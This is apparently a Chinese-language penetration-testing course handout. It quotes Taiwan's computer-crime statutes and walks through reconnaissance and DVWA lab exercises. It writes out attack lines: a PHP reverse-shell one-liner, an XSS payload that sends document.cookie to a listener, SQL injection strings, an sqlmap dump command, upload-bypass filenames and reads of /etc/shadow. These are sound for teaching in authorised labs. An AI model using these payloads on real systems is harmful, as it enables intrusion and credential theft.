Try   HackMD

滲透測試實務

簡介

中華民國刑法
第 三十六 章 妨害電腦使用罪
第 358 條
無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞,而入侵他人之電腦或其相關設備者,處三年以下有期徒刑、拘役或科或併科三十萬元以下罰金。
第 359 條
無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。
第 360 條
無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備,致生損害於公眾或他人者,處三年以下有期徒刑、拘役或科或併科三十萬元以下罰金。
第 361 條
對於公務機關之電腦或其相關設備犯前三條之罪者,加重其刑至二分之一。
第 362 條
製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。
第 363 條
第三百五十八條至第三百六十條之罪,須告訴乃論。

滲透測試

系統弱點評估 Vulnerability Assessment (VA)

針對目標網站/IP,利用軟體進行自動化掃描找出可能的資安弱點

滲透測試 Penetration Testing (PT)

針對少量網站/IP,利用駭客技術人工方式深入找出可能的資安弱點

紅隊測試 Red-Team Testing (RT)

利用各種駭客可能的攻擊方式攻擊目標想保護的標的,包含社交工程、近域攻擊(ex:wifi)

  • 常見目標為企業的DC,客戶個資

環境準備

安裝 VMware (Player)

Download Kali linux

username:kali
password:kali

### Install Metasploitable2

sudo docker pull tleemcjr/metasploitable2 sudo docker run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash" root@ab78fd47c2e6:/# ifconfig

Install DVWA

sudo apt install dvwa sudo dvwa-start

username:admin
password:password

Download vulhub

sudo apt install docker.io docker-compose -y cd ~/Downloads/ && git clone https://github.com/vulhub/vulhub.git

docker 教學

Download vulnhub

Intelligence Gathering (情資收集)

  • Active - 直接接觸目標,例如 Port Scan
  • Passive - 利用間接的方式收集資訊,不會被目標知道你的IP等資訊,例如利用第三方網站收集資訊

Domain Name gathering

Online tools
Offline tools
go install -v github.com/OWASP/Amass/v3/...@master amass enum -passive -d google.com -src

Subdomain Bruteforce

Online tools
Offline tools
  • dnsenum
    dnsenum --enum google.com.tw
  • gobuster
    gobuster dns -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -d google.com.tw

牛刀小試 - 利用 RapidDNS 搜尋網站並查看網站數量

延伸練習 - 利用 amass 主動搜尋特定網站所有子域名
(主動掃描可能被視為攻擊,請確定網路環境允許且被受測網站擁有者授權)

請確定已被授權
amass enum -v -src -ip -brute -min-for-recursive 2 -d google.com

DNS Zone Transfer

Example
Online tools
Offline tools
Linux
  • dnsenum
    dnsenum --enum zonetransfer.me

  • fierce
    fierce --domain zonetransfer.me

  • dig

dig +nostats +nocomments +nocmd NS zonetransfer.me dig axfr zonetransfer.me @nsztm1.digi.ninja
Windows
  • nslookup
nslookup -type=ns zonetransfer.me nslookup server ns12.zoneedit.com ls -d zonetransfer.me

牛刀小試 - 利用 Hacker Target 檢測特定網站是否存在 DNS Zone Transfer

延伸練習 - 利用其他工具檢測 vulhub DNS Zone Transfer lab

~/Downloads/vulhub/dns/dns-zone-transfer sudo docker-compose up -d nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 127.0.0.1

Google Hacking

Online tools

Manual
  • site
  • filetype
  • intitle:"index of"

牛刀小試 - 利用 Google Hacking 找出特定網站是否存在外洩敏感資訊/可再利用資訊
(注意勿存取敏感資訊)

Port Scan

Example

Tools

  • nmap ping scan by cidr
    nmap 192.168.217.0/24 -sP

  • nmap scan all port
    nmap -sS <ip/range/cidr> -p-

  • nmap parameters

-Pn: Treat all hosts as online -- skip host discovery
-A: Enable OS detection, version detection, script scanning, and traceroute
-p <port ranges>: Only scan specified ports
-v: Increase verbosity level
--reason: Display the reason a port is in a particular state
nmap [Host ip] -A -p- -Pn -oA ReportName
-p- : scan all ports (1-65535)
-oA: output three format scan reports
  • list ftp script
    cd /usr/share/nmap/scripts && ls ftp* -alh

  • Script scan
    nmap -sS <ip> -Pn -sC --script=<script name>

牛刀小試 - 請使用nmap預設掃描 scanme.nmap.org 看開了那些port與banner

建議指令與結果

nmap -v scanme.nmap.org nmap -v scanme.nmap.org -sV -p22,80,2000,5060,9929,31337 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 2000/tcp open tcpwrapped 5060/tcp open tcpwrapped 9929/tcp open nping-echo Nping echo 31337/tcp open tcpwrapped

Shodan

Shodan
shodan filter

  • D-LINK
  • country:tw
  • net:140.112.0.0/16
  • port:3389
  • http.title:交通大學
  • http.html:交通大學
  • vuln:CVE-20xx-xxxx (Small Business+ $359/month)

牛刀小試 - 請使用 shodan 搜尋您熟悉的弱點服務,並且查看台灣 IP 的數量

Website Path

Example

Path Bruteforce

gobuster dir -u https://www.walter.com.tw -t 30 -x html,txt,php,asp,aspx,jsp,gif,png,jpg,jpeg -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • dirb
dirb http://www.walter.com.tw/ dirb https://www.walter.com.tw/admin/ /usr/share/wordlists/dirb/common.txt -X .php,.html

牛刀小試 - 請使用 dirb 或 gobuster 嘗試列舉 www.walter.com.tw 站台,尋找是否有敏感資訊

參考指令

dirb https://www.walter.com.tw
gobuster dir -u https://www.walter.com.tw -t 30 -x zip -w /usr/share/dirb/wordlists/common.txt

git leak / backup leak / sensitive file leak

example

Tools

牛刀小試 - 請使用 GitHack 嘗試攻擊 https://www.walter.com.tw/demo/vul/.git/ 站台

Github credential leak

Example
Keyword
  • github / view-source
    • apikey
    • password
    • pw
    • pwd
    • username
    • token

Warback Machine

CMS Scan

  • wpscan
    wpscan --url http://walter.com.tw/webservices/wp --api-token=xxxxxxxxxx

使用 token 可以掃描出更多資訊
wpscan token

牛刀小試 - 請利用 10 mins mail 註冊 wpscan 取得 api token

Exploitation (弱點利用)

Burp Suite

  • Install and Configuration
  • Proxy
  • Repeater
  • Intruder
  • Compare
  • Burp Collaborator client (Pro version)

Guess Password

Example

Wordlist

dic
  • https://pastebin.com/jA2d1xGZ
  • 常見字典
    • rockyou.txt
      sudo gunzip /usr/share/wordlists/rockyou.txt.gz
    • SecLists
  • 預設密碼
  • 廠商密碼
    • 聽說廠商都有常用的密碼 :P
  • 創意發想
    • 聽說wifi密碼常常是統編、電話

牛刀小試 - DVWA Brute Force - low level security 嘗試使用 Burp Suite Intruder找出 admin 的密碼

撞庫(憑證填充)

Web

  • Burp Suite Intruder

ftp / ssh / web / rdp /

  • Hydra
    hydra -L logins.txt -P passwords.txt ftp://localhost/

SQL Injection

Example

Concept

DVWA sql injection source code

SELECT first_name, last_name FROM users WHERE user_id = '$id';
  • id = 1
SELECT first_name, last_name FROM users WHERE user_id = '1';
  • id = '
SELECT first_name, last_name FROM users WHERE user_id = ''';

syntax error

  • id = ' or 1=1 --
SELECT first_name, last_name FROM users WHERE user_id = ' or 1=1 --';

快速檢測 Payload

Tools

牛刀小試 - DVWA sql injection - low level security 列出所有使用者

延伸練習 - DVWA sql injection - low level security 手動或利用 sqlmap 取得使用者的密碼

sqlmap 攻擊參考指令

sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --batch -o --dbms=MYSQL --cookie="PHPSESSID=xxxx; security=low" -D dvwa -T users -C user,password --dump

File Upload

Example

upload bypass

  • webshell.pHp
  • webshell.png.php
  • webshell.php.png
  • a.php%00.png
  • a.php%0d%0a.png
  • content-type
  • file header xxd to view, use burp to change file header

webshell

牛刀小試 - DVWA File Upload - low level

延伸練習 - DVWA File Upload - Medium level

延伸練習提示

修改副檔名 與 Content-Type: image/jpeg

深入研究 - DVWA File Upload 轉 reverse shell

深入研究提示

PayloadsAllTheThings reverse shell

nc -nvlp 9487
php -r '$sock=fsockopen("127.0.0.1",9487);exec("/bin/sh -i <&3 >&3 2>&3");'

Cross-Site Scripting (XSS)

Example

payloads

  • <script>alert(1)</script>
  • <script>alert(document.cookie)</script>
  • <img src=x onerror=alert(1)>
  • javascript:alert(1);
  • PayloadsAllTheThings
  • web server get cookie
  • XSS hunter

牛刀小試 - DVWA XSS (Reflected) low/medium security level 使其彈跳出含有cookie資訊的警告視窗

延伸練習 - DVWA XSS low security level 偷取 cookie 資訊 (非彈跳警告視窗)

延伸練習參考指令

用 web 接取

sudo service apache2 start
tail -f /var/log/apache2/access.log
<img src=x onerror=this.src='http://127.0.0.1/?'+document.cookie;>

或使用 xss hunter

Local File Include

Example

sensitive file

  • /etc/passwd
  • /etc/shadow
  • /var/log/apache2/access.log
  • /proc/self/status
  • C:/Windows/win.ini
  • PayloadsAllTheThings

牛刀小試 - DVWA File Inclusion - low security level 嘗試讀取敏感檔案

  • /etc/passwd
  • /home/kali/Documents/flag.txt

Logic Flaw / Broken Authentication / Broken Access Control

Example

Command Injection

Example

Payload

牛刀小試 - DVWA Command Inclusion - low security level 新增檔案並且讀取是否成功

Hash crack

user password
admin 5f4dcc3b5aa765d61d8327deb882cf99
gordonb e99a18c428cb38d5f260853678922e03
1337 8d3533d75ae2c3966d7e0d4fcc69216b
pablo 0d107d09f5bbe40cade3de5c71e9e9b7
smithy 5f4dcc3b5aa765d61d8327deb882cf99

Online tools

Offline tools

  • john the ripper
    john hash.txt
  • hashcat
    hashcat -m 500 -a 0 hash.txt rockyou.txt --username

牛刀小試 - 嘗試使用 john 破解以上hash

延伸練習 - 嘗試破解以下hash (SHA1)
86c16a459ecf39fd76a8e750f9d5074c4722f22b
39b04978ade0b5bd9065703fc95fe658176046d9

Search Exploit

  • exploitdb
  • msfconsole > search keyword
  • searchsploit
    • search searchsploit keyword
    • review code searchsploit -x exploit-number
    • copy to current path searchsploit -m exploit-number
  • github

Privelege escalation

Example

提權常見種類

  • 作業系統漏洞
  • 軟體漏洞
  • 設定問題

檔案傳輸

Kali
sudo python3 -m http.server 9527

Windows

Linux

Tools

Cheatsheet

參考

Pentest Lab

Vulnhub (vm lab)

學習資源